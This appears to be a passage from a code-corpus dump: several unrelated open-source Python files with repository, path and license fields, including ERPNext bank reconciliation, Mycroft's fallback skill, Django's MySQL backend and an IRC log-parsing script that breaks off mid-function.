erpnext/accounts/doctype/bank_reconciliation/bank_reconciliation.py
|
21
|
3899
|
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
# License: GNU General Public License v3. See license.txt
from __future__ import unicode_literals
import frappe
from frappe.utils import flt, getdate, nowdate, fmt_money
from frappe import msgprint, _
from frappe.model.document import Document
form_grid_templates = {
"journal_entries": "templates/form_grid/bank_reconciliation_grid.html"
}
class BankReconciliation(Document):
def get_payment_entries(self):
if not (self.bank_account and self.from_date and self.to_date):
msgprint("Bank Account, From Date and To Date are Mandatory")
return
condition = ""
if not self.include_reconciled_entries:
condition = "and (clearance_date is null or clearance_date='0000-00-00')"
journal_entries = frappe.db.sql("""
select
"Journal Entry" as payment_document, t1.name as payment_entry,
t1.cheque_no as cheque_number, t1.cheque_date,
t2.debit_in_account_currency as debit, t2.credit_in_account_currency as credit,
t1.posting_date, t2.against_account, t1.clearance_date, t2.account_currency
from
`tabJournal Entry` t1, `tabJournal Entry Account` t2
where
t2.parent = t1.name and t2.account = %s and t1.docstatus=1
and t1.posting_date >= %s and t1.posting_date <= %s
and ifnull(t1.is_opening, 'No') = 'No' {0}
order by t1.posting_date ASC, t1.name DESC
""".format(condition), (self.bank_account, self.from_date, self.to_date), as_dict=1)
payment_entries = frappe.db.sql("""
select
"Payment Entry" as payment_document, name as payment_entry,
reference_no as cheque_number, reference_date as cheque_date,
if(paid_from=%(account)s, paid_amount, "") as credit,
if(paid_from=%(account)s, "", received_amount) as debit,
posting_date, ifnull(party,if(paid_from=%(account)s,paid_to,paid_from)) as against_account, clearance_date,
if(paid_to=%(account)s, paid_to_account_currency, paid_from_account_currency) as account_currency
from `tabPayment Entry`
where
(paid_from=%(account)s or paid_to=%(account)s) and docstatus=1
and posting_date >= %(from)s and posting_date <= %(to)s {0}
order by
posting_date ASC, name DESC
""".format(condition),
{"account":self.bank_account, "from":self.from_date, "to":self.to_date}, as_dict=1)
entries = sorted(list(payment_entries)+list(journal_entries),
key=lambda k: k['posting_date'] or getdate(nowdate()))
self.set('payment_entries', [])
self.total_amount = 0.0
for d in entries:
row = self.append('payment_entries', {})
amount = d.debit if d.debit else d.credit
d.amount = fmt_money(amount, 2, d.account_currency) + " " + (_("Dr") if d.debit else _("Cr"))
d.pop("credit")
d.pop("debit")
d.pop("account_currency")
row.update(d)
self.total_amount += flt(amount)
def update_clearance_date(self):
clearance_date_updated = False
for d in self.get('payment_entries'):
if d.clearance_date:
if not d.payment_document:
frappe.throw(_("Row #{0}: Payment document is required to complete the trasaction"))
if d.cheque_date and getdate(d.clearance_date) < getdate(d.cheque_date):
frappe.throw(_("Row #{0}: Clearance date {1} cannot be before Cheque Date {2}")
.format(d.idx, d.clearance_date, d.cheque_date))
if d.clearance_date or self.include_reconciled_entries:
if not d.clearance_date:
d.clearance_date = None
frappe.db.set_value(d.payment_document, d.payment_entry, "clearance_date", d.clearance_date)
frappe.db.sql("""update `tab{0}` set clearance_date = %s, modified = %s
where name=%s""".format(d.payment_document),
(d.clearance_date, nowdate(), d.payment_entry))
clearance_date_updated = True
if clearance_date_updated:
self.get_payment_entries()
msgprint(_("Clearance Date updated"))
else:
msgprint(_("Clearance Date not mentioned"))
|
gpl-3.0
|
paralect/robomongo
|
bin/set-mongo-warning-level-3.py
|
2
|
1283
|
import os
from os.path import join
###
def force_warning_level_3(file):
with open(file, "r") as in_file:
buf = in_file.readlines()
push = '#pragma warning(push, 3)\n'
pop = '#pragma warning(pop)\n'
last_line_has_mongo = False
with open(file, "w") as out_file:
for line in buf:
if line.startswith(('#include <mongo', '#include "mongo')):
if last_line_has_mongo:
pass # line = line + pop
else:
line = push + line
last_line_has_mongo = True
else:
if last_line_has_mongo:
line = pop + line
last_line_has_mongo = False
out_file.write(line)
### main
root_dir = 'E:\\robo\\src\\robomongo\\'
# root_dir = 'E:\\robo\\src\\robomongo\\shell\\bson\\' # for testing
print('Processing all source files in root & sub directories...')
print('Root Dir:', root_dir)
print('---------------------------------------------------------')
for path, subdirs, files in os.walk(root_dir):
for name in files:
if name.endswith(('.h', '.cpp')):
file = os.path.join(path, name)
print(file)
force_warning_level_3(file)
|
gpl-3.0
|
ashray/VTK-EVM
|
ThirdParty/Twisted/twisted/internet/glib2reactor.py
|
64
|
1115
|
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.
"""
This module provides support for Twisted to interact with the glib mainloop.
This is like gtk2, but slightly faster and does not require a working
$DISPLAY. However, you cannot run GUIs under this reactor: for that you must
use the gtk2reactor instead.
In order to use this support, simply do the following::
from twisted.internet import glib2reactor
glib2reactor.install()
Then use twisted.internet APIs as usual. The other methods here are not
intended to be called directly.
"""
from twisted.internet import gtk2reactor
class Glib2Reactor(gtk2reactor.Gtk2Reactor):
"""
The reactor using the glib mainloop.
"""
def __init__(self):
"""
Override init to set the C{useGtk} flag.
"""
gtk2reactor.Gtk2Reactor.__init__(self, useGtk=False)
def install():
"""
Configure the twisted mainloop to be run inside the glib mainloop.
"""
reactor = Glib2Reactor()
from twisted.internet.main import installReactor
installReactor(reactor)
__all__ = ['install']
|
bsd-3-clause
|
MycroftAI/mycroft-core
|
mycroft/skills/fallback_skill.py
|
2
|
7989
|
# Copyright 2019 Mycroft AI Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
"""The fallback skill implements a special type of skill handling
utterances not handled by the intent system.
"""
import operator
from mycroft.metrics import report_timing, Stopwatch
from mycroft.util.log import LOG
from .mycroft_skill import MycroftSkill, get_handler_name
class FallbackSkill(MycroftSkill):
"""Fallbacks come into play when no skill matches an Adapt or closely with
a Padatious intent. All Fallback skills work together to give them a
view of the user's utterance. Fallback handlers are called in an order
determined the priority provided when the the handler is registered.
======== ======== ================================================
Priority Who? Purpose
======== ======== ================================================
1-4 RESERVED Unused for now, slot for pre-Padatious if needed
5 MYCROFT Padatious near match (conf > 0.8)
6-88 USER General
89 MYCROFT Padatious loose match (conf > 0.5)
90-99 USER Uncaught intents
100+ MYCROFT Fallback Unknown or other future use
======== ======== ================================================
Handlers with the numerically lowest priority are invoked first.
Multiple fallbacks can exist at the same priority, but no order is
guaranteed.
A Fallback can either observe or consume an utterance. A consumed
utterance will not be see by any other Fallback handlers.
"""
fallback_handlers = {}
wrapper_map = [] # Map containing (handler, wrapper) tuples
def __init__(self, name=None, bus=None, use_settings=True):
super().__init__(name, bus, use_settings)
# list of fallback handlers registered by this instance
self.instance_fallback_handlers = []
@classmethod
def make_intent_failure_handler(cls, bus):
"""Goes through all fallback handlers until one returns True"""
def handler(message):
start, stop = message.data.get('fallback_range', (0, 101))
# indicate fallback handling start
LOG.debug('Checking fallbacks in range '
'{} - {}'.format(start, stop))
bus.emit(message.forward("mycroft.skill.handler.start",
data={'handler': "fallback"}))
stopwatch = Stopwatch()
handler_name = None
with stopwatch:
sorted_handlers = sorted(cls.fallback_handlers.items(),
key=operator.itemgetter(0))
handlers = [f[1] for f in sorted_handlers
if start <= f[0] < stop]
for handler in handlers:
try:
if handler(message):
# indicate completion
status = True
handler_name = get_handler_name(handler)
bus.emit(message.forward(
'mycroft.skill.handler.complete',
data={'handler': "fallback",
"fallback_handler": handler_name}))
break
except Exception:
LOG.exception('Exception in fallback.')
else:
status = False
# indicate completion with exception
warning = 'No fallback could handle intent.'
bus.emit(message.forward('mycroft.skill.handler.complete',
data={'handler': "fallback",
'exception': warning}))
# return if the utterance was handled to the caller
bus.emit(message.response(data={'handled': status}))
# Send timing metric
if message.context.get('ident'):
ident = message.context['ident']
report_timing(ident, 'fallback_handler', stopwatch,
{'handler': handler_name})
return handler
@classmethod
def _register_fallback(cls, handler, wrapper, priority):
"""Register a function to be called as a general info fallback
Fallback should receive message and return
a boolean (True if succeeded or False if failed)
Lower priority gets run first
0 for high priority 100 for low priority
Args:
handler (callable): original handler, used as a reference when
removing
wrapper (callable): wrapped version of handler
priority (int): fallback priority
"""
while priority in cls.fallback_handlers:
priority += 1
cls.fallback_handlers[priority] = wrapper
cls.wrapper_map.append((handler, wrapper))
def register_fallback(self, handler, priority):
"""Register a fallback with the list of fallback handlers and with the
list of handlers registered by this instance
"""
def wrapper(*args, **kwargs):
if handler(*args, **kwargs):
self.make_active()
return True
return False
self.instance_fallback_handlers.append(handler)
self._register_fallback(handler, wrapper, priority)
@classmethod
def _remove_registered_handler(cls, wrapper_to_del):
"""Remove a registered wrapper.
Args:
wrapper_to_del (callable): wrapped handler to be removed
Returns:
(bool) True if one or more handlers were removed, otherwise False.
"""
found_handler = False
for priority, handler in list(cls.fallback_handlers.items()):
if handler == wrapper_to_del:
found_handler = True
del cls.fallback_handlers[priority]
if not found_handler:
LOG.warning('No fallback matching {}'.format(wrapper_to_del))
return found_handler
@classmethod
def remove_fallback(cls, handler_to_del):
"""Remove a fallback handler.
Args:
handler_to_del: reference to handler
Returns:
(bool) True if at least one handler was removed, otherwise False
"""
# Find wrapper from handler or wrapper
wrapper_to_del = None
for h, w in cls.wrapper_map:
if handler_to_del in (h, w):
wrapper_to_del = w
break
if wrapper_to_del:
cls.wrapper_map.remove((h, w))
remove_ok = cls._remove_registered_handler(wrapper_to_del)
else:
LOG.warning('Could not find matching fallback handler')
remove_ok = False
return remove_ok
def remove_instance_handlers(self):
"""Remove all fallback handlers registered by the fallback skill."""
self.log.info('Removing all handlers...')
while len(self.instance_fallback_handlers):
handler = self.instance_fallback_handlers.pop()
self.remove_fallback(handler)
def default_shutdown(self):
"""Remove all registered handlers and perform skill shutdown."""
self.remove_instance_handlers()
super(FallbackSkill, self).default_shutdown()
|
apache-2.0
|
juanriaza/django-rest-framework-msgpack
|
rest_framework_msgpack/renderers.py
|
1
|
1132
|
import msgpack
import decimal
import datetime
from rest_framework.renderers import BaseRenderer
class MessagePackEncoder(object):
def encode(self, obj):
if isinstance(obj, datetime.datetime):
return {'__class__': 'datetime', 'as_str': obj.isoformat()}
elif isinstance(obj, datetime.date):
return {'__class__': 'date', 'as_str': obj.isoformat()}
elif isinstance(obj, datetime.time):
return {'__class__': 'time', 'as_str': obj.isoformat()}
elif isinstance(obj, decimal.Decimal):
return {'__class__': 'decimal', 'as_str': str(obj)}
else:
return obj
class MessagePackRenderer(BaseRenderer):
"""
Renderer which serializes to MessagePack.
"""
media_type = 'application/msgpack'
format = 'msgpack'
render_style = 'binary'
charset = None
def render(self, data, media_type=None, renderer_context=None):
"""
Renders *obj* into serialized MessagePack.
"""
if data is None:
return ''
return msgpack.packb(data, default=MessagePackEncoder().encode)
|
bsd-3-clause
|
dlopes-samba/dlopes-maps-sambatech
|
django/db/backends/mysql/base.py
|
101
|
13899
|
"""
MySQL database backend for Django.
Requires MySQLdb: http://sourceforge.net/projects/mysql-python
"""
import re
import sys
try:
import MySQLdb as Database
except ImportError, e:
from django.core.exceptions import ImproperlyConfigured
raise ImproperlyConfigured("Error loading MySQLdb module: %s" % e)
# We want version (1, 2, 1, 'final', 2) or later. We can't just use
# lexicographic ordering in this check because then (1, 2, 1, 'gamma')
# inadvertently passes the version test.
version = Database.version_info
if (version < (1,2,1) or (version[:3] == (1, 2, 1) and
(len(version) < 5 or version[3] != 'final' or version[4] < 2))):
from django.core.exceptions import ImproperlyConfigured
raise ImproperlyConfigured("MySQLdb-1.2.1p2 or newer is required; you have %s" % Database.__version__)
from MySQLdb.converters import conversions
from MySQLdb.constants import FIELD_TYPE, FLAG, CLIENT
from django.db import utils
from django.db.backends import *
from django.db.backends.signals import connection_created
from django.db.backends.mysql.client import DatabaseClient
from django.db.backends.mysql.creation import DatabaseCreation
from django.db.backends.mysql.introspection import DatabaseIntrospection
from django.db.backends.mysql.validation import DatabaseValidation
from django.utils.safestring import SafeString, SafeUnicode
# Raise exceptions for database warnings if DEBUG is on
from django.conf import settings
if settings.DEBUG:
from warnings import filterwarnings
filterwarnings("error", category=Database.Warning)
DatabaseError = Database.DatabaseError
IntegrityError = Database.IntegrityError
# MySQLdb-1.2.1 returns TIME columns as timedelta -- they are more like
# timedelta in terms of actual behavior as they are signed and include days --
# and Django expects time, so we still need to override that. We also need to
# add special handling for SafeUnicode and SafeString as MySQLdb's type
# checking is too tight to catch those (see Django ticket #6052).
django_conversions = conversions.copy()
django_conversions.update({
FIELD_TYPE.TIME: util.typecast_time,
FIELD_TYPE.DECIMAL: util.typecast_decimal,
FIELD_TYPE.NEWDECIMAL: util.typecast_decimal,
})
# This should match the numerical portion of the version numbers (we can treat
# versions like 5.0.24 and 5.0.24a as the same). Based on the list of version
# at http://dev.mysql.com/doc/refman/4.1/en/news.html and
# http://dev.mysql.com/doc/refman/5.0/en/news.html .
server_version_re = re.compile(r'(\d{1,2})\.(\d{1,2})\.(\d{1,2})')
# MySQLdb-1.2.1 and newer automatically makes use of SHOW WARNINGS on
# MySQL-4.1 and newer, so the MysqlDebugWrapper is unnecessary. Since the
# point is to raise Warnings as exceptions, this can be done with the Python
# warning module, and this is setup when the connection is created, and the
# standard util.CursorDebugWrapper can be used. Also, using sql_mode
# TRADITIONAL will automatically cause most warnings to be treated as errors.
class CursorWrapper(object):
"""
A thin wrapper around MySQLdb's normal cursor class so that we can catch
particular exception instances and reraise them with the right types.
Implemented as a wrapper, rather than a subclass, so that we aren't stuck
to the particular underlying representation returned by Connection.cursor().
"""
codes_for_integrityerror = (1048,)
def __init__(self, cursor):
self.cursor = cursor
def execute(self, query, args=None):
try:
return self.cursor.execute(query, args)
except Database.IntegrityError, e:
raise utils.IntegrityError, utils.IntegrityError(*tuple(e)), sys.exc_info()[2]
except Database.OperationalError, e:
# Map some error codes to IntegrityError, since they seem to be
# misclassified and Django would prefer the more logical place.
if e[0] in self.codes_for_integrityerror:
raise utils.IntegrityError, utils.IntegrityError(*tuple(e)), sys.exc_info()[2]
raise
except Database.DatabaseError, e:
raise utils.DatabaseError, utils.DatabaseError(*tuple(e)), sys.exc_info()[2]
def executemany(self, query, args):
try:
return self.cursor.executemany(query, args)
except Database.IntegrityError, e:
raise utils.IntegrityError, utils.IntegrityError(*tuple(e)), sys.exc_info()[2]
except Database.OperationalError, e:
# Map some error codes to IntegrityError, since they seem to be
# misclassified and Django would prefer the more logical place.
if e[0] in self.codes_for_integrityerror:
raise utils.IntegrityError, utils.IntegrityError(*tuple(e)), sys.exc_info()[2]
raise
except Database.DatabaseError, e:
raise utils.DatabaseError, utils.DatabaseError(*tuple(e)), sys.exc_info()[2]
def __getattr__(self, attr):
if attr in self.__dict__:
return self.__dict__[attr]
else:
return getattr(self.cursor, attr)
def __iter__(self):
return iter(self.cursor)
class DatabaseFeatures(BaseDatabaseFeatures):
empty_fetchmany_value = ()
update_can_self_select = False
allows_group_by_pk = True
related_fields_match_type = True
allow_sliced_subqueries = False
supports_forward_references = False
supports_long_model_names = False
supports_microsecond_precision = False
supports_regex_backreferencing = False
supports_date_lookup_using_string = False
supports_timezones = False
requires_explicit_null_ordering_when_grouping = True
allows_primary_key_0 = False
def _can_introspect_foreign_keys(self):
"Confirm support for introspected foreign keys"
cursor = self.connection.cursor()
cursor.execute('CREATE TABLE INTROSPECT_TEST (X INT)')
# This command is MySQL specific; the second column
# will tell you the default table type of the created
# table. Since all Django's test tables will have the same
# table type, that's enough to evaluate the feature.
cursor.execute('SHOW TABLE STATUS WHERE Name="INTROSPECT_TEST"')
result = cursor.fetchone()
cursor.execute('DROP TABLE INTROSPECT_TEST')
return result[1] != 'MyISAM'
class DatabaseOperations(BaseDatabaseOperations):
compiler_module = "django.db.backends.mysql.compiler"
def date_extract_sql(self, lookup_type, field_name):
# http://dev.mysql.com/doc/mysql/en/date-and-time-functions.html
if lookup_type == 'week_day':
# DAYOFWEEK() returns an integer, 1-7, Sunday=1.
# Note: WEEKDAY() returns 0-6, Monday=0.
return "DAYOFWEEK(%s)" % field_name
else:
return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)
def date_trunc_sql(self, lookup_type, field_name):
fields = ['year', 'month', 'day', 'hour', 'minute', 'second']
format = ('%%Y-', '%%m', '-%%d', ' %%H:', '%%i', ':%%s') # Use double percents to escape.
format_def = ('0000-', '01', '-01', ' 00:', '00', ':00')
try:
i = fields.index(lookup_type) + 1
except ValueError:
sql = field_name
else:
format_str = ''.join([f for f in format[:i]] + [f for f in format_def[i:]])
sql = "CAST(DATE_FORMAT(%s, '%s') AS DATETIME)" % (field_name, format_str)
return sql
def date_interval_sql(self, sql, connector, timedelta):
return "(%s %s INTERVAL '%d 0:0:%d:%d' DAY_MICROSECOND)" % (sql, connector,
timedelta.days, timedelta.seconds, timedelta.microseconds)
def drop_foreignkey_sql(self):
return "DROP FOREIGN KEY"
def force_no_ordering(self):
"""
"ORDER BY NULL" prevents MySQL from implicitly ordering by grouped
columns. If no ordering would otherwise be applied, we don't want any
implicit sorting going on.
"""
return ["NULL"]
def fulltext_search_sql(self, field_name):
return 'MATCH (%s) AGAINST (%%s IN BOOLEAN MODE)' % field_name
def no_limit_value(self):
# 2**64 - 1, as recommended by the MySQL documentation
return 18446744073709551615L
def quote_name(self, name):
if name.startswith("`") and name.endswith("`"):
return name # Quoting once is enough.
return "`%s`" % name
def random_function_sql(self):
return 'RAND()'
def sql_flush(self, style, tables, sequences):
# NB: The generated SQL below is specific to MySQL
# 'TRUNCATE x;', 'TRUNCATE y;', 'TRUNCATE z;'... style SQL statements
# to clear all tables of all data
if tables:
sql = ['SET FOREIGN_KEY_CHECKS = 0;']
for table in tables:
sql.append('%s %s;' % (style.SQL_KEYWORD('TRUNCATE'), style.SQL_FIELD(self.quote_name(table))))
sql.append('SET FOREIGN_KEY_CHECKS = 1;')
# 'ALTER TABLE table AUTO_INCREMENT = 1;'... style SQL statements
# to reset sequence indices
sql.extend(["%s %s %s %s %s;" % \
(style.SQL_KEYWORD('ALTER'),
style.SQL_KEYWORD('TABLE'),
style.SQL_TABLE(self.quote_name(sequence['table'])),
style.SQL_KEYWORD('AUTO_INCREMENT'),
style.SQL_FIELD('= 1'),
) for sequence in sequences])
return sql
else:
return []
def value_to_db_datetime(self, value):
if value is None:
return None
# MySQL doesn't support tz-aware datetimes
if value.tzinfo is not None:
raise ValueError("MySQL backend does not support timezone-aware datetimes.")
# MySQL doesn't support microseconds
return unicode(value.replace(microsecond=0))
def value_to_db_time(self, value):
if value is None:
return None
# MySQL doesn't support tz-aware datetimes
if value.tzinfo is not None:
raise ValueError("MySQL backend does not support timezone-aware datetimes.")
# MySQL doesn't support microseconds
return unicode(value.replace(microsecond=0))
def year_lookup_bounds(self, value):
# Again, no microseconds
first = '%s-01-01 00:00:00'
second = '%s-12-31 23:59:59.99'
return [first % value, second % value]
def max_name_length(self):
return 64
class DatabaseWrapper(BaseDatabaseWrapper):
vendor = 'mysql'
operators = {
'exact': '= %s',
'iexact': 'LIKE %s',
'contains': 'LIKE BINARY %s',
'icontains': 'LIKE %s',
'regex': 'REGEXP BINARY %s',
'iregex': 'REGEXP %s',
'gt': '> %s',
'gte': '>= %s',
'lt': '< %s',
'lte': '<= %s',
'startswith': 'LIKE BINARY %s',
'endswith': 'LIKE BINARY %s',
'istartswith': 'LIKE %s',
'iendswith': 'LIKE %s',
}
def __init__(self, *args, **kwargs):
super(DatabaseWrapper, self).__init__(*args, **kwargs)
self.server_version = None
self.features = DatabaseFeatures(self)
self.ops = DatabaseOperations()
self.client = DatabaseClient(self)
self.creation = DatabaseCreation(self)
self.introspection = DatabaseIntrospection(self)
self.validation = DatabaseValidation(self)
def _valid_connection(self):
if self.connection is not None:
try:
self.connection.ping()
return True
except DatabaseError:
self.connection.close()
self.connection = None
return False
def _cursor(self):
if not self._valid_connection():
kwargs = {
'conv': django_conversions,
'charset': 'utf8',
'use_unicode': True,
}
settings_dict = self.settings_dict
if settings_dict['USER']:
kwargs['user'] = settings_dict['USER']
if settings_dict['NAME']:
kwargs['db'] = settings_dict['NAME']
if settings_dict['PASSWORD']:
kwargs['passwd'] = settings_dict['PASSWORD']
if settings_dict['HOST'].startswith('/'):
kwargs['unix_socket'] = settings_dict['HOST']
elif settings_dict['HOST']:
kwargs['host'] = settings_dict['HOST']
if settings_dict['PORT']:
kwargs['port'] = int(settings_dict['PORT'])
# We need the number of potentially affected rows after an
# "UPDATE", not the number of changed rows.
kwargs['client_flag'] = CLIENT.FOUND_ROWS
kwargs.update(settings_dict['OPTIONS'])
self.connection = Database.connect(**kwargs)
self.connection.encoders[SafeUnicode] = self.connection.encoders[unicode]
self.connection.encoders[SafeString] = self.connection.encoders[str]
connection_created.send(sender=self.__class__, connection=self)
cursor = CursorWrapper(self.connection.cursor())
return cursor
def _rollback(self):
try:
super(DatabaseWrapper, self)._rollback()
except Database.NotSupportedError:
pass
def get_server_version(self):
if not self.server_version:
if not self._valid_connection():
self.cursor()
m = server_version_re.match(self.connection.get_server_info())
if not m:
raise Exception('Unable to determine MySQL version from version string %r' % self.connection.get_server_info())
self.server_version = tuple([int(x) for x in m.groups()])
return self.server_version
|
bsd-3-clause
|
Teamxrtc/webrtc-streaming-node
|
third_party/webrtc/src/chromium/src/tools/gyp/test/small/gyptest-small.py
|
29
|
1480
|
#!/usr/bin/env python
# Copyright (c) 2012 Google Inc. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""
Runs small tests.
"""
import imp
import os
import sys
import unittest
import TestGyp
test = TestGyp.TestGyp()
# Add pylib to the import path (so tests can import their dependencies).
# This is consistant with the path.append done in the top file "gyp".
sys.path.insert(0, os.path.join(test._cwd, 'pylib'))
# Add new test suites here.
files_to_test = [
'pylib/gyp/MSVSSettings_test.py',
'pylib/gyp/easy_xml_test.py',
'pylib/gyp/generator/msvs_test.py',
'pylib/gyp/generator/ninja_test.py',
'pylib/gyp/generator/xcode_test.py',
'pylib/gyp/common_test.py',
'pylib/gyp/input_test.py',
]
# Collect all the suites from the above files.
suites = []
for filename in files_to_test:
# Carve the module name out of the path.
name = os.path.splitext(os.path.split(filename)[1])[0]
# Find the complete module path.
full_filename = os.path.join(test._cwd, filename)
# Load the module.
module = imp.load_source(name, full_filename)
# Add it to the list of test suites.
suites.append(unittest.defaultTestLoader.loadTestsFromModule(module))
# Create combined suite.
all_tests = unittest.TestSuite(suites)
# Run all the tests.
result = unittest.TextTestRunner(verbosity=2).run(all_tests)
if result.failures or result.errors:
test.fail_test()
test.pass_test()
|
mit
|
ycl2045/nova-master
|
nova/keymgr/not_implemented_key_mgr.py
|
112
|
1417
|
# Copyright (c) 2013 The Johns Hopkins University/Applied Physics Laboratory
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
Key manager implementation that raises NotImplementedError
"""
from nova.keymgr import key_mgr
class NotImplementedKeyManager(key_mgr.KeyManager):
"""Key Manager Interface that raises NotImplementedError for all operations
"""
def create_key(self, ctxt, algorithm='AES', length=256, expiration=None,
**kwargs):
raise NotImplementedError()
def store_key(self, ctxt, key, expiration=None, **kwargs):
raise NotImplementedError()
def copy_key(self, ctxt, key_id, **kwargs):
raise NotImplementedError()
def get_key(self, ctxt, key_id, **kwargs):
raise NotImplementedError()
def delete_key(self, ctxt, key_id, **kwargs):
raise NotImplementedError()
|
apache-2.0
|
wuhengzhi/chromium-crosswalk
|
tools/site_compare/scrapers/chrome/chrome011010.py
|
189
|
1183
|
# Copyright (c) 2011 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Does scraping for versions of Chrome from 0.1.101.0 up."""
from drivers import windowing
import chromebase
# Default version
version = "0.1.101.0"
def GetChromeRenderPane(wnd):
return windowing.FindChildWindow(wnd, "Chrome_TabContents")
def Scrape(urls, outdir, size, pos, timeout=20, **kwargs):
"""Invoke a browser, send it to a series of URLs, and save its output.
Args:
urls: list of URLs to scrape
outdir: directory to place output
size: size of browser window to use
pos: position of browser window
timeout: amount of time to wait for page to load
kwargs: miscellaneous keyword args
Returns:
None if succeeded, else an error code
"""
chromebase.GetChromeRenderPane = GetChromeRenderPane
return chromebase.Scrape(urls, outdir, size, pos, timeout, kwargs)
def Time(urls, size, timeout, **kwargs):
"""Forwards the Time command to chromebase."""
chromebase.GetChromeRenderPane = GetChromeRenderPane
return chromebase.Time(urls, size, timeout, kwargs)
|
bsd-3-clause
|
BNIA/tidyall
|
src/modules/tidydate.py
|
2
|
2523
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""tidydate
This file declares and implements the TidyDate class for TidyAll.
TidyDate converts and formats valid date columns into ISO 8601 (yyyy-mm-dd).
"""
import sys
from dateutil import parser as date_parser
import numpy as np
import pandas as pd
from .settings import TIDY_DATE_SPLIT
class TidyDate(object):
def __init__(self, df, column):
"""Wraps a TidyDate object around a TidyAll dataframe"""
self.df = df
self.date_col = column
@staticmethod
def parse_date(date_str):
try:
return date_parser.parse(date_str)
except (TypeError, ValueError):
try:
def split_date():
return (date_str[-4:], date_str[:-6], date_str[-6:-4])
return date_parser.parse('-'.join(split_date()))
except (TypeError, ValueError):
return None
def __clean_col(self):
"""Parses and standardizes the selected column values
Args:
None
Returns:
None
"""
if self.date_col:
if np.dtype(self.df[self.date_col]) == np.dtype("datetime64[ns]"):
sys.exit("Column is already in date format")
self.df["tidy_date"] = self.df[self.date_col].apply(
lambda x: self.parse_date(str(x))
)
self.df["tidy_date"] = self.df["tidy_date"].apply(
lambda x: x.date() if pd.notnull(x) else x
)
def __split_date(self):
"""Splits the "tidy_date" column into separate tidy year, month and
day columns
Args:
None
Returns:
None
"""
for index, col in enumerate(TIDY_DATE_SPLIT):
try:
self.df[col] = self.df["tidy_date"].apply(
lambda x: int(str(x).split("-")[index])
if pd.notnull(x) else x
)
except IndexError:
continue
def __fill_na(self):
"""Fills values that were unable to be parsed with the original values
Args:
None
Returns:
None
"""
TIDY_DATE_SPLIT.append("tidy_date")
for col in TIDY_DATE_SPLIT:
self.df[col].fillna(self.df[self.date_col], inplace=True)
def parse(self):
self.__clean_col()
self.__split_date()
self.__fill_na()
return self.df
|
mit
|
Polarcraft/KbveBot
|
scripts/parselogs.py
|
1
|
4376
|
#!/usr/bin/env python3
# Copyright (C) 2013-2015 Samuel Damashek, Peter Foley, James Forcier, Srijay Kasturi, Reed Koser, Christopher Reffett, and Fox Wilson
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
import argparse
import configparser
from time import strftime, localtime
from os.path import dirname, exists, join
from os import makedirs
from sys import path
# FIXME: hack to allow sibling imports
path.append(join(dirname(__file__), '..'))
from helpers.orm import Log # noqa
from helpers.sql import get_session # noqa
logs = {}
day = False
def get_id(outdir):
outfile = "%s/.dbid" % outdir
if not exists(outfile):
return 0
with open(outfile) as f:
return int(f.read())
def save_id(outdir, new_id):
if not exists(outdir):
makedirs(outdir)
with open('%s/.dbid' % outdir, 'w') as f:
f.write(str(new_id) + '\n')
def write_log(name, outdir, msg):
if name not in logs:
outfile = "%s/%s.log" % (outdir, name)
logs[name] = open(outfile, 'a')
logs[name].write(msg + '\n')
def check_day(row, outdir, name):
# FIXME: don't use a global variable.
global day
time = localtime(row.time)
rowday = strftime('%d', time)
if not day:
day = rowday
return
if day != rowday:
day = rowday
log = strftime('New Day: %a, %b %d, %Y', time)
write_log(name, outdir, log)
def gen_log(row):
logtime = strftime('%Y-%m-%d %H:%M:%S', localtime(row.time))
nick = row.source.split('!')[0]
if row.type == 'join':
log = '%s --> %s (%s) has joined %s' % (logtime, nick, row.source, row.target)
elif row.type == 'part':
log = '%s <-- %s (%s) has left %s' % (logtime, nick, row.source, row.target)
if row.msg:
log = "%s (%s)" % (log, row.msg)
elif row.type == 'quit':
log = '%s <-- %s (%s) has quit (%s)' % (logtime, nick, row.source, row.msg)
elif row.type == 'kick':
args = row.msg.split()
log = '%s <-- %s has kicked %s (%s)' % (logtime, nick, args[0], " ".join(args[1:]))
elif row.type == 'action':
log = '%s * %s %s' % (logtime, nick, row.msg)
elif row.type == 'mode':
log = '%s Mode %s [%s] by %s' % (logtime, row.target, row.msg, nick)
elif row.type == 'nick':
log = '%s -- %s is now known as %s' % (logtime, nick, row.msg)
elif row.type in ['pubnotice', 'privnotice']:
log = '%s Notice(%s): %s' % (logtime, nick, row.msg)
elif row.type in ['privmsg', 'pubmsg']:
if bool(row.flags & 1):
nick = '@' + nick
if bool(row.flags & 2):
nick = '+' + nick
log = '%s <%s> %s' % (logtime, nick, row.msg)
else:
raise Exception("Invalid type %s." % row.type)
return log
def main(cfg, outdir):
session = get_session(cfg)()
current_id = get_id(outdir)
new_id = session.query(Log.id).order_by(Log.id.desc()).limit(1).scalar()
# Don't die on empty log table.
if new_id is None:
new_id = 0
save_id(outdir, new_id)
